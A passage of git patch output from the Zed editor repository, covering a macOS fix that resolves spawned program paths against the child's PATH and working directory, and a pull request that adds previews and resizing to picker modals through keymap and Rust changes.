+            indoc! {"
+            line one
+            line tw«o
+            lˇ»ine three"},
+            Mode::HelixSelect,
+        );
+    }
 }

From d1f500edf15b5e6726710ab89199880e75ad45eb Mon Sep 17 00:00:00 2001
From: G36maid <53391375+G36maid@users.noreply.github.com>
Date: Sat, 20 Jun 2026 00:44:06 +0800
Subject: [PATCH 005/772] Fix binary name resolution against custom PATH on
 macOS (#55672)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes #50536

## Summary

Addresses https://github.com/zed-industries/zed/issues/50536

- On macOS, `posix_spawnp` resolves programs against the parent
process's `cwd` and `environ` (via `getcwd` and `getenv("PATH")`),
ignoring the child's `current_dir` and `envp`. This causes two classes
of failures when Zed spawns external commands via the custom
`posix_spawnp`-based `Command`:
- **Bare names** (e.g. `"black"`): resolved via the parent's `PATH`, not
the child's — binaries only available in a project-specific PATH
(Nix/direnv) are not found.
- **Relative paths** (e.g. `"./script.sh"`, `"bin/test.sh"`): resolved
against the parent's `cwd`, not `current_dir` — only works when Zed's
cwd happens to match the project root.
- Added program resolution in `spawn_posix_spawn`
(`crates/util/src/command/darwin.rs`): before calling `posix_spawnp`,
resolve the program to an absolute path — bare names via
`which::which_in` against the child's PATH, relative paths via
`Path::join(current_dir)`. Falls back to the original program if
resolution fails.

## Root Cause

Apple's Libc implementation of `posix_spawnp` resolves the program path
using the parent process's context — `getcwd()` for relative paths and
`getenv("PATH")` for bare names — rather than the `current_dir` (set via
`posix_spawn_file_actions_addchdir_np`) or `envp` argument. The child's
working directory and environment only take effect **after** the binary
has already been located. This is a well-documented macOS behavior that
Rust's own `std::process::Command` works around by bypassing
`posix_spawn` when PATH is modified (see
[rust-lang/rust#48624](https://github.com/rust-lang/rust/pull/48624)).

The regression was introduced when PR #49090 switched macOS from
`std::process::Command` (which uses fork+execvp, correctly using the
child's cwd and PATH) to a custom posix_spawnp-based implementation
(which does not).

## Testing

- `test_bare_program_resolved_via_custom_path` — bare name resolves via
child's custom PATH
- `test_bare_program_with_custom_path_falls_back_when_not_found` —
non-existent binary still errors
- `test_bare_program_with_custom_env_no_path_key` — custom env without
PATH key falls back gracefully
- `test_relative_path_skips_resolution` — relative path resolves against
`current_dir` instead of parent's cwd

Note: The fix and tests are in `darwin.rs` which is macOS-only. The
Linux path uses `smol::process::Command` (via fork+execve) and is
unaffected.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed external formatters and language servers failing to launch on
macOS when specified as a bare binary name or relative path and only
available in the project's PATH (e.g. Nix, direnv)

---------

Co-authored-by: Jakub Konka <kubkon@jakubkonka.com>
---
 crates/util/src/command/darwin.rs | 132 +++++++++++++++++++++++++++++-
 1 file changed, 129 insertions(+), 3 deletions(-)

diff --git a/crates/util/src/command/darwin.rs b/crates/util/src/command/darwin.rs
index cf99eada331e53..7b47795efa9626 100644
--- a/crates/util/src/command/darwin.rs
+++ b/crates/util/src/command/darwin.rs
@@ -8,7 +8,7 @@ use std::collections::BTreeMap;
 use std::ffi::{CString, OsStr, OsString};
 use std::io;
 use std::os::fd::AsRawFd;
-use std::os::unix::ffi::OsStrExt;
+use std::os::unix::ffi::{OsStrExt, OsStringExt};
 use std::os::unix::io::FromRawFd;
 use std::path::{Path, PathBuf};
 use std::process::{ExitStatus, Output};
@@ -300,12 +300,30 @@ fn spawn_posix_spawn(
     stderr_cfg: Stdio,
     kill_on_drop: bool,
 ) -> io::Result<Child> {
-    let program_cstr = CString::new(program.as_bytes()).map_err(|_| invalid_input_error())?;
+    // posix_spawnp resolves programs against the parent's cwd/PATH, not the child's.
+    let resolved_program = if program.as_bytes().contains(&b'/') {
+        std::path::absolute(current_dir.join(program)).map_or_else(
+            |_| program.as_bytes().to_vec(),
+            |p| p.into_os_string().into_vec(),
+        )
+    } else {
+        envs.and_then(|e| {
+            e.iter()
+                .find(|(k, _)| k.as_os_str() == OsStr::new("PATH"))
+                .and_then(|(_, v)| which::which_in(program, Some(v.as_os_str()), current_dir).ok())
+        })
+        .map_or_else(
+            || program.as_bytes().to_vec(),
+            |path| path.into_os_string().into_vec(),
+        )
+    };
+    let program_cstr = CString::new(resolved_program).map_err(|_| invalid_input_error())?;
+    let argv0_cstr = CString::new(program.as_bytes()).map_err(|_| invalid_input_error())?;
 
     let current_dir_cstr =
         CString::new(current_dir.as_os_str().as_bytes()).map_err(|_| invalid_input_error())?;
 
-    let mut argv_cstrs = vec![program_cstr.clone()];
+    let mut argv_cstrs = vec![argv0_cstr];
     for arg in args {
         let cstr = CString::new(arg.as_bytes()).map_err(|_| invalid_input_error())?;
         argv_cstrs.push(cstr);
@@ -909,6 +927,114 @@ mod tests {
         });
     }
 
+    #[test]
+    fn test_bare_program_resolved_via_custom_path() {
+        let temp_dir = tempfile::tempdir().expect("failed to create temp dir");
+
+        let link_path = temp_dir.path().join("zed-test-echo");
+        std::os::unix::fs::symlink("/bin/echo", &link_path).expect("failed to create symlink");
+
+        let custom_path = temp_dir.path().to_string_lossy().into_owned();
+
+        smol::block_on(async {
+            let output = Command::new("zed-test-echo")
+                .args(["-n", "from-custom-path"])
+                .env("PATH", &custom_path)
+                .output()
+                .await
+                .expect("failed to spawn with custom PATH");
+
+            assert!(output.status.success());
+            assert_eq!(output.stdout, b"from-custom-path");
+        });
+    }
+
+    #[test]
+    fn test_bare_program_preserves_argv0_when_resolved_via_custom_path() {
+        let temp_dir = tempfile::tempdir().expect("failed to create temp dir");
+
+        let link_path = temp_dir.path().join("zed-test-sh");
+        std::os::unix::fs::symlink("/bin/sh", &link_path).expect("failed to create symlink");
+
+        let custom_path = temp_dir.path().to_string_lossy().into_owned();
+
+        smol::block_on(async {
+            let output = Command::new("zed-test-sh")
+                .args(["-c", "printf %s \"$0\""])
+                .env("PATH", &custom_path)
+                .output()
+                .await
+                .expect("failed to spawn with custom PATH");
+
+            assert!(output.status.success());
+            assert_eq!(output.stdout, b"zed-test-sh");
+        });
+    }
+
+    #[test]
+    fn test_bare_program_with_custom_path_falls_back_when_not_found() {
+        smol::block_on(async {
+            let result = Command::new("zed-nonexistent-binary-xyz")
+                .env("PATH", "/nonexistent/path")
+                .spawn();
+
+            assert!(result.is_err());
+        });
+    }
+
+    #[test]
+    fn test_bare_program_with_custom_env_no_path_key() {
+        smol::block_on(async {
+            let output = Command::new("echo")
+                .args(["-n", "from-inherited-path"])
+                .env("ZED_TEST_VAR", "test")
+                .output()
+                .await
+                .expect("failed to spawn with custom env but no PATH override");
+
+            assert!(output.status.success());
+            assert_eq!(output.stdout, b"from-inherited-path");
+        });
+    }
+
+    #[test]
+    fn test_relative_path_resolved_against_current_dir() {
+        let temp_dir = tempfile::tempdir().expect("failed to create temp dir");
+
+        let link_path = temp_dir.path().join("zed-test-echo");
+        std::os::unix::fs::symlink("/bin/echo", &link_path).expect("failed to create symlink");
+
+        let relative_path = "./zed-test-echo";
+
+        smol::block_on(async {
+            let output = Command::new(relative_path)
+                .args(["-n", "from-relative-path"])
+                .current_dir(temp_dir.path())
+                .env("PATH", "/nonexistent/path")
+                .output()
+                .await
+                .expect("failed to spawn with relative path");
+
+            assert!(output.status.success());
+            assert_eq!(output.stdout, b"from-relative-path");
+        });
+    }
+
+    #[test]
+    fn test_absolute_path_passes_through_unchanged() {
+        smol::block_on(async {
+            let output = Command::new("/bin/echo")
+                .args(["-n", "from-absolute-path"])
+                .env("PATH", "/nonexistent/path")
+                .output()
+                .await
+                .expect("failed to spawn with absolute path");
+
+            assert!(output.status.success());
+            assert_eq!(output.stdout, b"from-absolute-path");
+        });
+    }
+
     #[test]
     fn test_stdio_inherit_keeps_stdio_open() {
         smol::block_on(async {

From ccf4058b7a6b05207d4f1dd25106ec5fc439cc74 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Yara=20=F0=9F=8F=B3=EF=B8=8F=E2=80=8D=E2=9A=A7=EF=B8=8F?=
 <git@yara.blue>
Date: Fri, 19 Jun 2026 19:43:07 +0200
Subject: [PATCH 006/772] Add preview to pickers and make them resizable
 (#59604)

Overhauls Zed's pickers to make them resizable and give them a preview.

Closes #8279

### Background
The most requested Zed feature has the last year has been a [Telescope
like search box](https://github.com/zed-industries/zed/issues/8279)
[discussion](https://github.com/zed-industries/zed/discussions/22581).
To understand why this is so popular we need to understand search can
serve thee goals:
- Navigation: fuzzy search is faster & easier then clicking in a file
tree
- Exploration: example, find a function by a word in its doc comment
- Collecting: example, getting a list of functions to change

The project search which shows results in a multibuffer is the perfect
way to operate on a list of items. Navigation and Exploration need a lot
of context around each result and offer fast navigation between them.
For both of these live searching is also critical.

The `telescope UI` is a picker with a preview to the right or below.
It's offered in various editors and IDE's most famously Neovim (through
the Telescope plugin), IntelliJ (natively), Helix (natively) and of
course VScode (plugins) and it's _many_ forks.

While having a UI like that for text search (our project search) is most
requested the UX pattern is applied widely, from `find_all_references`
to `bookmarks`. It enhances most pickers. Note that we have over 50
different picker modals!

The community has tried to build something like this for Zed:
- https://github.com/zed-industries/zed/pull/44530
- https://github.com/zed-industries/zed/pull/45307
- https://github.com/zed-industries/zed/pull/46478
- https://github.com/zed-industries/zed/pull/43790

These all became huge PR's that we could not merge for various reasons.
This is a really hard feature to integrate in Zed!
This PR got started as https://github.com/zed-industries/zed/pull/46478
and supercedes that.

### Design
- Extend pickers to support an optional preview with minimal changes to
the pickers themselves.
- Make pickers resizable.
- Complement the existing search do not replace it by having both UI's
share the underlying search and allow freely switching between them.
- Allow extending the preview to things other then files.
- Maintain a clean design on all the pickers.

### Heigh level Implementation overview
- Adds an `Option<Preview>` to `Picker`
- Gives `PickerDelegate` a method to communicate a preview to the Picker
- Overhaul the way pickers are drawn to allow for resizing them.
Implemented on the `Shape` and `SizeBouds` structs.
- Adds a high level way to draw the `footer` and `editor` so we do not
need to change much to the pickers.
- Adds a new text finder Picker
- Adds a way to take a running search from project search and hand it to
the text finder Picker and the other way round
- Give the file finder a preview

### Next steps
A more detailed list and how to help out will be added to the tracking
issue for [Pickes with
previews](https://github.com/zed-industries/zed/issues/56037)
- Add more previews to more pickers!
- Enable selectioning multiple items in pickers and performing actions
on those
- Open selected items in a multibuffer
- Add a way to restore the last picker
- Make popovers (picker attached to some menu) resizable as well

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase
TODO (will be done post merge)

---

Release Notes:
- Added resizing via dragging to all picker modals.
- Added a preview to the File finder, the preview can be to the right or
below.
- Added a Text finder picker with a preview as alternative project
search UI. The search is shared and allowes switch between UIs while
running.

---------

Co-authored-by: ozacod <47009516+ozacod@users.noreply.github.com>
Co-authored-by: ozacod <ozacod@users.noreply.github.com>
Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
---
 Cargo.lock                                    |   13 +-
 assets/keymaps/default-linux.json             |   25 +-
 assets/keymaps/default-macos.json             |   33 +-
 assets/keymaps/default-windows.json           |   26 +-
 assets/keymaps/specific-overrides-macos.json  |   42 +
 assets/keymaps/specific-overrides.json        |   39 +
 crates/agent/src/tools/grep_tool.rs           |    2 +-
 .../src/agent_configuration/tool_picker.rs    |    4 +
 crates/agent_ui/src/agent_panel.rs            |    6 +
 crates/agent_ui/src/config_options.rs         |    9 +-
 .../agent_ui/src/language_model_selector.rs   |    9 +-
 crates/agent_ui/src/model_selector.rs         |    9 +-
 crates/agent_ui/src/profile_selector.rs       |    9 +-
 crates/agent_ui/src/threads_archive_view.rs   |    4 +
 .../src/collab_panel/channel_modal.rs         |    4 +
 .../src/collab_panel/contact_finder.rs        |    4 +
 crates/command_palette/src/command_palette.rs |   11 +-
 crates/debugger_ui/src/attach_modal.rs        |    4 +
 crates/debugger_ui/src/new_process_modal.rs   |    6 +
 crates/dev_container/src/lib.rs               |    8 +
 crates/editor/src/display_map.rs              |    1 +
 crates/editor/src/editor.rs                   |   17 +-
 .../src/encoding_selector.rs                  |    4 +
 .../src/extension_version_selector.rs         |    4 +
 crates/extensions_ui/src/extensions_ui.rs     |    7 +-
 crates/file_finder/Cargo.toml                 |    1 -
 crates/file_finder/src/file_finder.rs         |  377 ++----
 crates/file_finder/src/file_finder_tests.rs   |   65 +-
 crates/git_ui/src/branch_picker.rs            |   11 +-
 crates/git_ui/src/git_graph.rs                |    4 +
 crates/git_ui/src/picker_prompt.rs            |    4 +
 crates/git_ui/src/repository_selector.rs      |   21 +-
 crates/git_ui/src/stash_picker.rs             |    7 +
 crates/git_ui/src/worktree_picker.rs          |    8 +-
 crates/gpui/src/geometry.rs                   |   14 +-
 crates/gpui/src/key_dispatch.rs               |   60 +
 crates/language/src/buffer.rs                 |   21 +-
 .../src/language_selector.rs                  |    4 +
 .../src/line_ending_selector.rs               |    4 +
 crates/onboarding/src/base_keymap_picker.rs   |    4 +
 .../open_path_prompt/src/open_path_prompt.rs  |    7 +-
 .../src/open_path_prompt_tests.rs             |    2 +-
 crates/outline/src/outline.rs                 |   16 +-
 crates/picker/Cargo.toml                      |    9 +
 crates/picker/src/footer.rs                   |  228 ++++
 crates/picker/src/head.rs                     |    4 -
 crates/picker/src/parts.rs                    |   27 +
 crates/picker/src/persistence.rs              |  125 ++
 crates/picker/src/picker.rs                   |  542 ++++----
 crates/picker/src/preview.rs                  |  352 +++++
 crates/picker/src/preview/render.rs           |   82 ++
 crates/picker/src/preview/state.rs            |    0
 crates/picker/src/render.rs                   |  370 ++++++
 crates/picker/src/render/window_controls.rs   |  501 ++++++++
 crates/picker/src/shape.rs                    |  654 ++++++++++
 crates/project/src/project_search.rs          |    6 +-
 crates/project/src/search_history.rs          |    5 +
 crates/project_symbols/src/project_symbols.rs |    6 +-
 crates/recent_projects/src/recent_projects.rs |   13 +-
 crates/recent_projects/src/remote_servers.rs  |    6 +-
 .../src/sidebar_recent_projects.rs            |    4 +
 crates/recent_projects/src/wsl_picker.rs      |    4 +
 crates/repl/src/components/kernel_options.rs  |    9 +-
 crates/search/Cargo.toml                      |    5 +-
 crates/search/src/project_search.rs           |  410 +++---
 crates/search/src/search.rs                   |   46 +-
 crates/search/src/text_finder.rs              |  289 +++++
 crates/search/src/text_finder/delegate.rs     | 1136 +++++++++++++++++
 crates/search/src/text_finder/render.rs       |   20 +
 crates/settings/src/settings.rs               |   11 +
 .../src/settings_profile_selector.rs          |    4 +
 .../settings_ui/src/components/font_picker.rs |    9 +-
 .../src/components/icon_theme_picker.rs       |    9 +-
 .../src/components/ollama_model_picker.rs     |    9 +-
 .../src/components/theme_picker.rs            |    9 +-
 crates/settings_ui/src/page_data.rs           |   25 +-
 crates/settings_ui/src/settings_ui.rs         |    1 -
 crates/snippets_ui/src/snippets_ui.rs         |    4 +
 crates/tab_switcher/src/tab_switcher.rs       |    4 +
 crates/tasks_ui/src/modal.rs                  |    4 +
 .../theme_selector/src/icon_theme_selector.rs |    4 +
 crates/theme_selector/src/theme_selector.rs   |    4 +
 .../src/toolchain_selector.rs                 |    4 +
 crates/ui_input/src/ui_input.rs               |    1 +
 crates/vim/src/state.rs                       |   12 +-
 crates/zed/src/zed.rs                         |   16 +-
 crates/zed_actions/src/lib.rs                 |   12 +
 script/check-keymaps                          |    1 +
 88 files changed, 5114 insertions(+), 812 deletions(-)
 create mode 100644 assets/keymaps/specific-overrides-macos.json
 create mode 100644 assets/keymaps/specific-overrides.json
 create mode 100644 crates/picker/src/footer.rs
 create mode 100644 crates/picker/src/parts.rs
 create mode 100644 crates/picker/src/persistence.rs
 create mode 100644 crates/picker/src/preview.rs
 create mode 100644 crates/picker/src/preview/render.rs
 create mode 100644 crates/picker/src/preview/state.rs
 create mode 100644 crates/picker/src/render.rs
 create mode 100644 crates/picker/src/render/window_controls.rs
 create mode 100644 crates/picker/src/shape.rs
 create mode 100644 crates/search/src/text_finder.rs
 create mode 100644 crates/search/src/text_finder/delegate.rs
 create mode 100644 crates/search/src/text_finder/render.rs

diff --git a/Cargo.lock b/Cargo.lock
index ee82f7d975389d..98740df2a37d1f 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -6593,7 +6593,6 @@ dependencies = [
  "theme",
  "theme_settings",
  "ui",
- "ui_input",
  "util",
  "workspace",
  "zed_actions",
@@ -13439,16 +13438,23 @@ name = "picker"
 version = "0.1.0"
 dependencies = [
  "anyhow",
+ "db",
  "editor",
  "gpui",
+ "language",
  "menu",
+ "multi_buffer",
+ "project",
+ "rope",
  "schemars 1.0.4",
  "serde",
+ "serde_json",
  "settings",
  "theme",
  "theme_settings",
  "ui",
  "ui_input",
+ "util",
  "workspace",
  "zed_actions",
 ]
@@ -16184,20 +16190,23 @@ dependencies = [
  "bitflags 2.10.0",
  "collections",
  "editor",
+ "file_icons",
  "fs",
  "futures 0.3.32",
- "futures-lite 1.13.0",
  "gpui",
  "itertools 0.14.0",
  "language",
  "lsp",
  "menu",
  "multi_buffer",
+ "picker",
  "pretty_assertions",
  "project",
  "serde",
  "serde_json",
  "settings",
+ "smol",
+ "text",
  "theme",
  "theme_settings",
  "tracing",
diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index 2220068078d28c..4a56cb77ce23ea 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -451,6 +451,7 @@
       "ctrl-shift-h": "search::ToggleReplace",
       "alt-ctrl-g": "search::ToggleRegex",
       "alt-ctrl-x": "search::ToggleRegex",
+      "ctrl-alt-p": "project_search::OpenTextFinder",
     },
   },
   {
@@ -480,6 +481,7 @@
       "ctrl-shift-h": "search::ToggleReplace",
       "alt-ctrl-g": "search::ToggleRegex",
       "alt-ctrl-x": "search::ToggleRegex",
+      "ctrl-alt-p": "project_search::OpenTextFinder",
     },
   },
   {
@@ -1157,6 +1159,10 @@
       "down": "menu::SelectNext",
       "tab": "picker::ConfirmCompletion",
       "alt-enter": ["picker::ConfirmInput", { "secondary": false }],
+      // Picker bindings (TogglePreview, SetPreviewRight/Below/Hidden,
+      // ToggleActionsMenu) live in keymaps/specific-overrides.json, which is
+      // loaded after the base keymap so they win over conflicting base-keymap
+      // Editor bindings.
     },
   },
   {
@@ -1176,24 +1182,7 @@
     "context": "FileFinder || (FileFinder > Picker > Editor)",
     "bindings": {
       "ctrl-p": "file_finder::Toggle",
-      "ctrl-shift-a": "file_finder::ToggleSplitMenu",
-      "ctrl-shift-i": "file_finder::ToggleFilterMenu",
-    },
-  },
-  {
-    "context": "FileFinder > Picker > Editor && end_of_input",
-    "bindings": {
-      "right": "file_finder::OpenWithoutDismiss",
-    },
-  },
-  {
-    "context": "FileFinder || (FileFinder > Picker > Editor) || (FileFinder > Picker > menu)",
-    "bindings": {
-      "ctrl-shift-p": "file_finder::SelectPrevious",
-      "ctrl-j": "pane::SplitDown",
-      "ctrl-k": "pane::SplitUp",
-      "ctrl-h": "pane::SplitLeft",
-      "ctrl-l": "pane::SplitRight",
+      "ctrl-shift-i": "search::ToggleIncludeIgnored",
     },
   },
   {
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index 9310fce07255b2..175a9b7b9b9dcb 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -490,6 +490,13 @@
       "down": "search::NextHistoryQuery",
     },
   },
+  {
+    "context": "BufferSearchBar || ProjectSearchBar",
+    "use_key_equivalents": true,
+    "bindings": {
+      "ctrl-enter": "editor::Newline",
+    },
+  },
   {
     "context": "ProjectSearchBar",
     "use_key_equivalents": true,
@@ -501,6 +508,7 @@
       "cmd-shift-h": "search::ToggleReplace",
       "alt-cmd-g": "search::ToggleRegex",
       "alt-cmd-x": "search::ToggleRegex",
+      "cmd-alt-p": "project_search::OpenTextFinder",
     },
   },
   {
@@ -534,6 +542,7 @@
       "cmd-shift-h": "search::ToggleReplace",
       "alt-cmd-g": "search::ToggleRegex",
       "alt-cmd-x": "search::ToggleRegex",
+      "cmd-alt-p": "project_search::OpenTextFinder",
     },
   },
   {
@@ -1210,6 +1219,10 @@
       "tab": "picker::ConfirmCompletion",
       "alt-enter": ["picker::ConfirmInput", { "secondary": false }],
       "cmd-alt-enter": ["picker::ConfirmInput", { "secondary": true }],
+      // Picker bindings (TogglePreview, SetPreviewRight/Below/Hidden,
+      // ToggleActionsMenu) live in keymaps/specific-overrides-macos.json, which
+      // is loaded after the base keymap so they win over conflicting base-keymap
+      // Editor bindings.
     },
   },
   {
@@ -1230,25 +1243,7 @@
     "context": "FileFinder || (FileFinder > Picker > Editor)",
     "use_key_equivalents": true,
     "bindings": {
-      "cmd-shift-a": "file_finder::ToggleSplitMenu",
-      "cmd-shift-i": "file_finder::ToggleFilterMenu",
-    },
-  },
-  {
-    "context": "FileFinder > Picker > Editor && end_of_input",
-    "bindings": {
-      "right": "file_finder::OpenWithoutDismiss",
-    },
-  },
-  {
-    "context": "FileFinder || (FileFinder > Picker > Editor) || (FileFinder > Picker > menu)",
-    "use_key_equivalents": true,
-    "bindings": {
-      "cmd-shift-p": "file_finder::SelectPrevious",
-      "cmd-j": "pane::SplitDown",
-      "cmd-k": "pane::SplitUp",
-      "cmd-h": "pane::SplitLeft",
-      "cmd-l": "pane::SplitRight",
+      "cmd-shift-i": "search::ToggleIncludeIgnored",
     },
   },
   {
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index 1833efec322efe..50d4d83c236905 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -452,6 +452,7 @@
       "ctrl-shift-f": "search::FocusSearch",
       "ctrl-shift-h": "search::ToggleReplace",
       "alt-r": "search::ToggleRegex", // vscode
+      "ctrl-alt-p": "project_search::OpenTextFinder",
     },
   },
   {
@@ -482,6 +483,7 @@
       "escape": "project_search::ToggleFocus",
       "ctrl-shift-h": "search::ToggleReplace",
       "alt-r": "search::ToggleRegex", // vscode
+      "ctrl-alt-p": "project_search::OpenTextFinder",
     },
   },
   {
@@ -1162,6 +1164,10 @@
       "down": "menu::SelectNext",
       "tab": "picker::ConfirmCompletion",
       "alt-enter": ["picker::ConfirmInput", { "secondary": false }],
+      // Picker bindings (TogglePreview, SetPreviewRight/Below/Hidden,
+      // ToggleActionsMenu) live in keymaps/specific-overrides.json, which is
+      // loaded after the base keymap so they win over conflicting base-keymap
+      // Editor bindings.
     },
   },
   {
@@ -1183,25 +1189,7 @@
     "use_key_equivalents": true,
     "bindings": {
       "ctrl-p": "file_finder::Toggle",
-      "ctrl-shift-a": "file_finder::ToggleSplitMenu",
-      "ctrl-shift-i": "file_finder::ToggleFilterMenu",
-    },
-  },
-  {
-    "context": "FileFinder > Picker > Editor && end_of_input",
-    "bindings": {
-      "right": "file_finder::OpenWithoutDismiss",
-    },
-  },
-  {
-    "context": "FileFinder || (FileFinder > Picker > Editor) || (FileFinder > Picker > menu)",
-    "use_key_equivalents": true,
-    "bindings": {
-      "ctrl-shift-p": "file_finder::SelectPrevious",
-      "ctrl-j": "pane::SplitDown",
-      "ctrl-k": "pane::SplitUp",
-      "ctrl-h": "pane::SplitLeft",
-      "ctrl-l": "pane::SplitRight",
+      "ctrl-shift-i": "search::ToggleIncludeIgnored",
     },
   },
   {
diff --git a/assets/keymaps/specific-overrides-macos.json b/assets/keymaps/specific-overrides-macos.json
new file mode 100644
index 00000000000000..9c3b95c377006c
--- /dev/null
+++ b/assets/keymaps/specific-overrides-macos.json
@@ -0,0 +1,42 @@
+// Put keybindings bound to a tight specific context that need to overwrite the
+// base keymaps here. Only put them here if absolutely needed. In those cases
+// also add a comment to the default keymaps that this binding exists here, to
+// make it a little more discoverable.
+//
+// This is loaded after all the base keymaps (Atom, vim etc) but before the user
+// keymaps, giving it the highest precedence of all the bindings set by us.
+[
+  {
+    "context": "Picker > Editor",
+    "use_key_equivalents": true,
+    "bindings": {
+      "cmd-shift-a": "picker::ToggleActionsMenu",
+      "cmd-alt-p": "picker::TogglePreview",
+      "cmd-alt-right": "picker::SetPreviewRight",
+      "cmd-alt-down": "picker::SetPreviewBelow",
+      "cmd-alt-up": "picker::SetPreviewHidden",
+    },
+  },
+  {
+    "context": "FileFinder || (FileFinder > Picker > Editor) || (FileFinder > Picker > menu)",
+    "use_key_equivalents": true,
+    "bindings": {
+      "cmd-shift-p": "file_finder::SelectPrevious",
+      "cmd-j": "pane::SplitDown",
+      "cmd-k": "pane::SplitUp",
+      "cmd-h": "pane::SplitLeft",
+      "cmd-l": "pane::SplitRight",
+    },
+  },
+  {
+    "context": "TextFinder || (TextFinder > Picker > Editor) || (TextFinder > Picker > menu)",
+    "use_key_equivalents": true,
+    "bindings": {
+      "cmd-alt-p": "text_finder::ToProjectSearch",
+      "cmd-j": "pane::SplitDown",
+      "cmd-k": "pane::SplitUp",
+      "cmd-h": "pane::SplitLeft",
+      "cmd-l": "pane::SplitRight",
+    },
+  },
+]
diff --git a/assets/keymaps/specific-overrides.json b/assets/keymaps/specific-overrides.json
new file mode 100644
index 00000000000000..05ee8e93e04889
--- /dev/null
+++ b/assets/keymaps/specific-overrides.json
@@ -0,0 +1,39 @@
+// Put keybindings bound to a tight specific context that need to overwrite the
+// base keymaps here. Only put them here if absolutely needed. In those cases
+// also add a comment to the default keymaps that this binding exists here, to
+// make it a little more discoverable.
+//
+// This is loaded after all the base keymaps (Atom, vim etc) but before the user
+// keymaps, giving it the highest precedence of all the bindings set by us.
+[
+  {
+    "context": "Picker > Editor",
+    "bindings": {
+      "ctrl-shift-a": "picker::ToggleActionsMenu",
+      "ctrl-alt-p": "picker::TogglePreview",
+      "ctrl-alt-right": "picker::SetPreviewRight",
+      "ctrl-alt-down": "picker::SetPreviewBelow",
+      "ctrl-alt-up": "picker::SetPreviewHidden",
+    },
+  },
+  {
+    "context": "FileFinder || (FileFinder > Picker > Editor) || (FileFinder > Picker > menu)",
+    "bindings": {
+      "ctrl-shift-p": "file_finder::SelectPrevious",
+      "ctrl-j": "pane::SplitDown",
+      "ctrl-k": "pane::SplitUp",
+      "ctrl-h": "pane::SplitLeft",
+      "ctrl-l": "pane::SplitRight",
+    },
+  },
+  {
+    "context": "TextFinder || (TextFinder > Picker > Editor) || (TextFinder > Picker > menu)",
+    "bindings": {
+      "ctrl-alt-p": "text_finder::ToProjectSearch",
+      "ctrl-j": "pane::SplitDown",
+      "ctrl-k": "pane::SplitUp",
+      "ctrl-h": "pane::SplitLeft",
+      "ctrl-l": "pane::SplitRight",
+    },
+  },
+]
diff --git a/crates/agent/src/tools/grep_tool.rs b/crates/agent/src/tools/grep_tool.rs
index 381639e3e27ad4..00a8074c249241 100644
--- a/crates/agent/src/tools/grep_tool.rs
+++ b/crates/agent/src/tools/grep_tool.rs
@@ -174,7 +174,7 @@ impl AgentTool for GrepTool {
             let project = project.downgrade();
             // Keep the search alive for the duration of result iteration. Dropping this task is the
             // cancellation mechanism; we intentionally do not detach it.
-            let SearchResults {rx, _task_handle}  = results;
+            let SearchResults {rx, ..}  = results;
             futures::pin_mut!(rx);
 
             let mut output = String::new();
diff --git a/crates/agent_ui/src/agent_configuration/tool_picker.rs b/crates/agent_ui/src/agent_configuration/tool_picker.rs
index 9fc17944197794..d1d471ccb9f8f5 100644
--- a/crates/agent_ui/src/agent_configuration/tool_picker.rs
+++ b/crates/agent_ui/src/agent_configuration/tool_picker.rs
@@ -155,6 +155,10 @@ impl ToolPickerDelegate {
 impl PickerDelegate for ToolPickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "tool picker"
+    }
+
     fn match_count(&self) -> usize {
         self.filtered_items.len()
     }
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 89245c94f6c26a..96ee16fda42db0 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -7503,6 +7503,12 @@ mod tests {
             // rather than merely echoing the keystrokes.
             settings.terminal_init_command = Some("echo init_ran_$((6*7))".to_string());
             AgentSettings::override_global(settings, cx);
+
+            // Force a POSIX shell rather than relying on the developer's login
+            // shell, which may not support `$((...))` arithmetic (e.g. fish).
+            let mut terminal_settings = TerminalSettings::get_global(cx).clone();
+            terminal_settings.shell = task::Shell::Program("/bin/sh".to_string());
+            TerminalSettings::override_global(terminal_settings, cx);
         });
 
         let terminal_id = TerminalId::new();
diff --git a/crates/agent_ui/src/config_options.rs b/crates/agent_ui/src/config_options.rs
index 03446a61c302dc..1dea1c01a5c4cf 100644
--- a/crates/agent_ui/src/config_options.rs
+++ b/crates/agent_ui/src/config_options.rs
@@ -299,8 +299,9 @@ impl ConfigOptionSelector {
                     Picker::nonsearchable_list(delegate, window, picker_cx)
                 }
                 .show_scrollbar(true)
-                .width(rems(20.))
-                .max_height(Some(rems(20.).into()))
+                .minimum_results_width(rems(20.))
+                .height(rems(20.))
+                .no_vertical_padding()
             })
         };
 
@@ -559,6 +560,10 @@ impl ConfigOptionPickerDelegate {
 impl PickerDelegate for ConfigOptionPickerDelegate {
     type ListItem = AnyElement;
 
+    fn name() -> &'static str {
+        "config options"
+    }
+
     fn match_count(&self) -> usize {
         self.filtered_entries.len()
     }
diff --git a/crates/agent_ui/src/language_model_selector.rs b/crates/agent_ui/src/language_model_selector.rs
